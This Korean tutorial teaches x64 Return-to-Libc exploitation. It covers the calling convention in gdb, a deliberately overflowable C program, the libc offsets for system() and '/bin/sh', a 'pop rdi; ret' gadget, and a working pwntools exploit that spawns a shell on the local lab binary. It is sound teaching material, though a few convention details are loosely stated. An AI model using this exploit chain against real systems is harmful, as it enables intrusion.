02.RTL(Return to Libc) - x64

RTL(Return to Libc)

- **RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.**
  - 해당 기법을 이용해 NX bit(DEP)를 우회 할 수 있습니다.

Calling Convention

System V AMD64 ABI

- **Solaris, Linux, FreeBSD, macOS 에서 "System V AMD64 ABI" 호출 규약을 사용하기 때문입니다.**
  - Unix, Unix계열 운영체제의 표준이라고 할 수있 습니다.
- **해당 호출 규약은 다음과 같은 특징이 있습니다.**
  - 레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달됩니다.
  - 레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 및 XMM7은 부동 소수점 인수가 전달됩니다.

Calling convention features

인자 전달 방법	RDI, RSI, RDX, RCX, R8, R9, XMM0–7
인자 전달 순서	오른쪽에서 왼쪽의 순서로 레지스터에 저장됩니다.
함수의 반환 값	EAX
Stack 정리	호출한 함수가 호출된 함수의 stack 공간을 정리함

- **다음 코드는 4개의 인자를 전달 받고, 반환값은 ret변수에 저장합니다.**

Calling convention example (C language)

```
int a,b,c,d;
int ret;

ret = function(a,b,c,d);
```

- **앞에 코드를 cdecl 형태의 assembly code로 변환하면 다음과 같습니다.**
  - 4개의 인자 값을 mov명령어를 이용해 레지스터에 저장합니다.
  - 함수 호출 후 반환된 값은 EAX레지스터에 저장되며, 해당 값을 ret 변수에 저장합니다.

Calling convention example (Assembly code)

```
mov     rcx,d
mov     rdx,c
mov     rsi,b
mov     rdi,a
call    function
mov     ret,eax
```

System V AMD64 ABI
- https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf
- https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/x86_64_code.html

Example

- **"System V AMD64 ABI"** 함수 호출 규약을 확인하기 위해 다음과 같은 코드를 사용합니다.

test.c

```
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
```

```
void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}
```

- 다음과 같이 **gdb**를 이용하여 **"System V AMD64 ABI"** 함수 호출 규약 형태를 확인 할 수 있습니다.
  - main() 함수에서 vuln() 함수의 인자 값을 mov 명령어를 이용해 각 레지스터에 저장합니다.

Save argument

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040055d <+0>:   push   rbp
   0x000000000040055e <+1>:   mov    rbp,rsp
   0x0000000000400561 <+4>:   mov    ecx,0x4
   0x0000000000400566 <+9>:   mov    edx,0x3
   0x000000000040056b <+14>:  mov    esi,0x2
   0x0000000000400570 <+19>:  mov    edi,0x1
   0x0000000000400575 <+24>:  call   0x400526 <vuln>
   0x000000000040057a <+29>:  nop
   0x000000000040057b <+30>:  pop    rbp
   0x000000000040057c <+31>:  ret
End of assembler dump.
gdb-peda$ b *0x0000000000400575
Breakpoint 1 at 0x400575
gdb-peda$
```

- **다음과 같이 각 레지스터에 저장된 vuln() 함수의 인자 값을 확인 할 수 있습니다.**

Info Registers

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/RTL/test

Breakpoint 1, 0x0000000000400575 in main ()
gdb-peda$ i r
rax            0x40055d 0x40055d
rbx            0x0  0x0
rcx            0x4  0x4
rdx            0x3  0x3
rsi            0x2  0x2
rdi            0x1  0x1
rbp            0x7fffffffe460   0x7fffffffe460
rsp            0x7fffffffe460   0x7fffffffe460
r8             0x4005f0 0x4005f0
r9             0x7ffff7de7ab0   0x7ffff7de7ab0
r10            0x846    0x846
r11            0x7ffff7a2d740   0x7ffff7a2d740
r12            0x400430 0x400430
r13            0x7fffffffe540   0x7fffffffe540
r14            0x0  0x0
r15            0x0  0x0
rip            0x400575 0x400575 <main+24>
eflags         0x246    [ PF ZF IF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0  0x0
es             0x0  0x0
fs             0x0  0x0
gs             0x0  0x0
gdb-peda$
```

- **그리고 vuln() 함수는 printf() 함수에 인자를 전달 하기 위해 인자를 재배치 합니다.**

- printf() 함수의 첫번째 인자는 "%d, %d, %d, %d" 입니다.
- 이로 인해 각 레지스터의 값이 재배치 됩니다.

Rearrange argument values

```
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400526 <+0>:   push   rbp
   0x0000000000400527 <+1>:   mov    rbp,rsp
   0x000000000040052a <+4>:   sub    rsp,0x10
   0x000000000040052e <+8>:   mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400531 <+11>:  mov    DWORD PTR [rbp-0x8],esi
   0x0000000000400534 <+14>:  mov    DWORD PTR [rbp-0xc],edx
   0x0000000000400537 <+17>:  mov    DWORD PTR [rbp-0x10],ecx
   0x000000000040053a <+20>:  mov    esi,DWORD PTR [rbp-0x10]
   0x000000000040053d <+23>:  mov    ecx,DWORD PTR [rbp-0xc]
   0x0000000000400540 <+26>:  mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000400543 <+29>:  mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400546 <+32>:  mov    r8d,esi
   0x0000000000400549 <+35>:  mov    esi,eax
   0x000000000040054b <+37>:  mov    edi,0x400604
   0x0000000000400550 <+42>:  mov    eax,0x0
   0x0000000000400555 <+47>:  call   0x400400 <printf@plt>
   0x000000000040055a <+52>:  nop
   0x000000000040055b <+53>:  leave
   0x000000000040055c <+54>:  ret
End of assembler dump.
gdb-peda$ b *0x0000000000400555
Breakpoint 2 at 0x400555
gdb-peda$
```

- **다음과 같이 각 레지스터에서 printf() 함수에 전달되는 인자 값을 확인 할 수 있습니다.**

New arguments

Register	Value	Explanation
RDI	0x400604	"%d, %d, %d, %d"
RSI	0x1	Arg 1
RDX	0x2	Arg 2
RCX	0x3	Arg 3
R8	0x4	Arg 4

Info Registers

```
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0000000000400555 in vuln ()
gdb-peda$ i r
rax            0x0  0x0
rbx            0x0  0x0
rcx            0x3  0x3
rdx            0x2  0x2
rsi            0x1  0x1
rdi            0x400604 0x400604
rbp            0x7fffffffe450   0x7fffffffe450
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x4  0x4
r9             0x7ffff7de7ab0   0x7ffff7de7ab0
r10            0x846    0x846
r11            0x7ffff7a2d740   0x7ffff7a2d740
r12            0x400430 0x400430
```

```
r13            0x7fffffffe540   0x7fffffffe540
r14            0x0  0x0
r15            0x0  0x0
rip            0x400555 0x400555 <vuln+47>
eflags         0x202    [ IF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0  0x0
es             0x0  0x0
fs             0x0  0x0
gs             0x0  0x0
gdb-peda$ x/s 0x400604
0x400604:   "%d, %d, %d, %d"
gdb-peda$
```

- **ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장 할 수 있어야 합니다.**
- **다음과 같은 방법으로 레지스터에 값을 저장 할 수 있습니다.**
  - Return Address 영역에 "pop rdi, ret" 코드가 저장된 주소 값을 저장합니다.
  - Return Address 다음 영역에 해당 레지스터에 저장 할 인자 값을 저장합니다.
  - 그 다음 영역에 호출 할 함수의 주소를 저장합니다.
  - 이러한 방식은 ROP(Return-oriented programming) 라고 하며, 자세한 내용은 다른 장에서 설명하겠습니다.
- **즉, 다음곽 같은 구조로 ret2libc를 사용할 수 있습니다.**

ret2libc structure

Stack Address	Value	Explanation
0x7fffffffe498	Gadget(POP RDI, ret) Address	Return address area of function
0x7fffffffe4a0	First argument value	
0x7fffffffe4a8	System function address of libc	

Proof of concept

Overwriting the return address

- **Return to Shellcode를 확인하기 위해 다음 코드를 사용합니다.**
  - main() 함수는 vuln() 함수를 호출합니다.
  - vuln() 함수는 read() 함수를 이용해 사용자로 부터 100개의 문자를 입력받습니다.
    - 여기에서 취약성이 발생합니다. buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생합니다.

ret2libc.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}
```

- **다음과 같이 Build 합니다.**

Build

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
```

- **다음과 같이 Break point를 설정합니다.**
  - 0x400676 : vuln() 함수의 첫번째 명령어
  - 0x4006e0 : read() 함수 호출
  - 0x4006e7 : vuln() 함수의 RET 명령어

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gdb -q ./ret2libc
Reading symbols from ./ret2libc...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400676 <+0>:   push   rbp
   0x0000000000400677 <+1>:   mov    rbp,rsp
   0x000000000040067a <+4>:   sub    rsp,0x40
   0x000000000040067e <+8>:   mov    QWORD PTR [rbp-0x40],0x0
   0x0000000000400686 <+16>:  lea    rdx,[rbp-0x38]
   0x000000000040068a <+20>:  mov    eax,0x0
   0x000000000040068f <+25>:  mov    ecx,0x5
   0x0000000000400694 <+30>:  mov    rdi,rdx
   0x0000000000400697 <+33>:  rep stos QWORD PTR es:[rdi],rax
   0x000000000040069a <+36>:  mov    rdx,rdi
   0x000000000040069d <+39>:  mov    WORD PTR [rdx],ax
   0x00000000004006a0 <+42>:  add    rdx,0x2
   0x00000000004006a4 <+46>:  mov    esi,0x400784
   0x00000000004006a9 <+51>:  mov    rdi,0xffffffffffffffff
   0x00000000004006b0 <+58>:  call   0x400560 <dlsym@plt>
   0x00000000004006b5 <+63>:  mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006b9 <+67>:  mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006bd <+71>:  mov    rsi,rax
   0x00000000004006c0 <+74>:  mov    edi,0x40078b
   0x00000000004006c5 <+79>:  mov    eax,0x0
   0x00000000004006ca <+84>:  call   0x400530 <printf@plt>
   0x00000000004006cf <+89>:  lea    rax,[rbp-0x40]
   0x00000000004006d3 <+93>:  mov    edx,0x64
   0x00000000004006d8 <+98>:  mov    rsi,rax
   0x00000000004006db <+101>: mov    edi,0x0
   0x00000000004006e0 <+106>: call   0x400540 <read@plt>
   0x00000000004006e5 <+111>: nop
   0x00000000004006e6 <+112>: leave
   0x00000000004006e7 <+113>: ret
End of assembler dump.
gdb-peda$ b *0x400676
Breakpoint 1 at 0x400676
gdb-peda$ b *0x4006e0
Breakpoint 2 at 0x4006e0
gdb-peda$ b *0x4006e7
Breakpoint 3 at 0x4006e7
gdb-peda$
```

- **다음과 같이 return address를 확인 할 수 있습니다.**
  - ESP 레지스터가 가리키고 있는 최상위 Stack의 주소는 0x7fffffffe498 입니다.
  - 0x7fffffffe498 영역에 Return address(0x4006f6)가 저장되어 있습니다.

Breakpoint 1, 0x400676

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/RTL/ret2libc

Breakpoint 1, 0x0000000000400676 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe498   0x7fffffffe498
gdb-peda$ x/gx 0x7fffffffe498
0x7fffffffe498: 0x00000000004006f6
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:   push   rbp
   0x00000000004006e9 <+1>:   mov    rbp,rsp
   0x00000000004006ec <+4>:   mov    eax,0x0
   0x00000000004006f1 <+9>:   call   0x400676 <vuln>
```

```
   0x00000000004006f6 <+14>:  nop
   0x00000000004006f7 <+15>:  pop    rbp
   0x00000000004006f8 <+16>:  ret
End of assembler dump.
gdb-peda$
```

- **다음과 같이 buf 변수의 주소를 확인 할 수 있습니다.**
  - buf변수의 위치는 0x7fffffffe450 이며, Return address 위치와 72byte 떨어져 있습니다.
  - 즉, 사용자 입력 값으로 문자를 72개 이상 입력하면, Return address를 덮어쓸수 있습니다.

Breakpoint 2, 0x4006e0

```
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800

Breakpoint 2, 0x00000000004006e0 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe450   0x7fffffffe450
gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450
$1 = 72
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJ
```

- **다음과 같이 Return address 값이 변경된 것을 확인 할 수 있습니다.**
  - 0x7fffffffe498 영역에 0x4a4a4a4a4a4a4a4a(JJJJJJJJ)가 저장되었습니다.

Breakpoint 3, 0x4006e7

```
Breakpoint 3, 0x00000000004006e7 in vuln ()
gdb-peda$ x/gx 0x7fffffffe498
0x7fffffffe498: 0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffffe498
0x7fffffffe498: "JJJJJJJJ\n\a@"
gdb-peda$
```

Find the Libc address of the system() function and "/bin/sh"

- **다음과 같이 Libc 영역에서 System() 함수의 주소를 찾을 수 있습니다.**

Find the Libc address of the system() function

```
gdb-peda$ print system
$2 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
gdb-peda$ info proc map
process 9812
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/lazenca0x0/Exploit/RTL/ret2libc
            0x600000           0x601000     0x1000        0x0 /home/lazenca0x0/Exploit/RTL/ret2libc
            0x601000           0x602000     0x1000     0x1000 /home/lazenca0x0/Exploit/RTL/ret2libc
            0x602000           0x623000    0x21000        0x0 [heap]
      0x7ffff7809000     0x7ffff79c9000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff79c9000     0x7ffff7bc9000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bc9000     0x7ffff7bcd000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcd000     0x7ffff7bcf000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcf000     0x7ffff7bd3000     0x4000        0x0
      0x7ffff7bd3000     0x7ffff7bd6000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7bd6000     0x7ffff7dd5000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd5000     0x7ffff7dd6000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd6000     0x7ffff7dd7000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7fdc000     0x7ffff7fe0000     0x4000        0x0
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
```

```
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb-peda$ p/x 0x7ffff785e800 - 0x7ffff7809000
$2 = 0x55800
gdb-peda$ p/x 0x7ffff784e390 - 0x7ffff7809000
$3 = 0x45390
gdb-peda$
```

- 다음과 같이 **"/bin/sh"** 문자열을 찾을 수 있습니다.

Find the address of the "/bin/sh"

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7995d57 - 0x7ffff7809000
$4 = 0x18cd57
gdb-peda$
```

- 다음과 같이 필요한 코드를 찾을 수 있습니다.

Search for ROP gadget

```
gdb-peda$ ropsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400763 : (b'5fc3')  pop rdi; ret
gdb-peda$
```

Exploit

exploit.py

```
from pwn import *

p = process('./ret2libc')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
sysAddr = libcBase + 0x45390
binsh = libcBase + 0x18cd57
poprdi = 0x400763

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)

exploit = "A" * (80 - len(p64(sysAddr)))
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)

p.send(exploit)
p.interactive()
```

python exploit.py

```
lazenca0x0@ubuntu:~/Exploit/RTL$ python Exploit.py
[+] Starting local process './ret2libc': pid 10291
```

```
0x7f61413b6000
0x7f61413fb390
0x7f6141542d57
0x400763
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmi
$
```

Related site

- https://wiki.osdev.org/System_V_ABI
- https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf
- https://nuc13us.wordpress.com/2015/12/26/return-to-libc-in-64-bit/comment-page-1/

Comments

rtl